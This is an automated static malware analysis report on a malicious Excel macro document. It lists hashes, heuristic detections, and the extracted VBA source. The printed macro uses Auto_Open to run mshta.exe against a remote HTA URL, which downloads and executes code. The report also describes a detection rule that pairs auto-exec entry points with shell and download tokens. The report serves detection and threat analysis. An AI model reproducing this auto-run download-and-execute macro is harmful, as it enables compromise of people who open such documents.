Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7d1928b33d2ecd7a…

MALICIOUS

Office (OOXML)

12.0 KB Created: 2020-09-28 17:15:02 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-01
MD5: b34e9ead07368f3671ccb2b4764ffe3a SHA-1: 54c1fd55b70a33af7187cc262969750f4e353850 SHA-256: 7d1928b33d2ecd7ad4b5abcaedcc921e12d293a60add778db4bee66f68886524
190 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        PID = Shell("mshta.exe http://10.50.19.8:8080/credit_excel.hta")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        PID = Shell("mshta.exe http://10.50.19.8:8080/credit_excel.hta")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.50.19.8:8080/credit_excel.hta In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 773 bytes
SHA-256: 157cf772f809aae48f78d1587d061df82025935a808c6916810c08fa206180cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub MyMacro()
    PID = Shell("mshta.exe http://10.50.19.8:8080/credit_excel.hta")
End Sub

Sub Auto_Open()
    MyMacro
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: e40ea30aa71c3e5b77287df3efe306cf39b14eba2b75f409829fdfc921805d85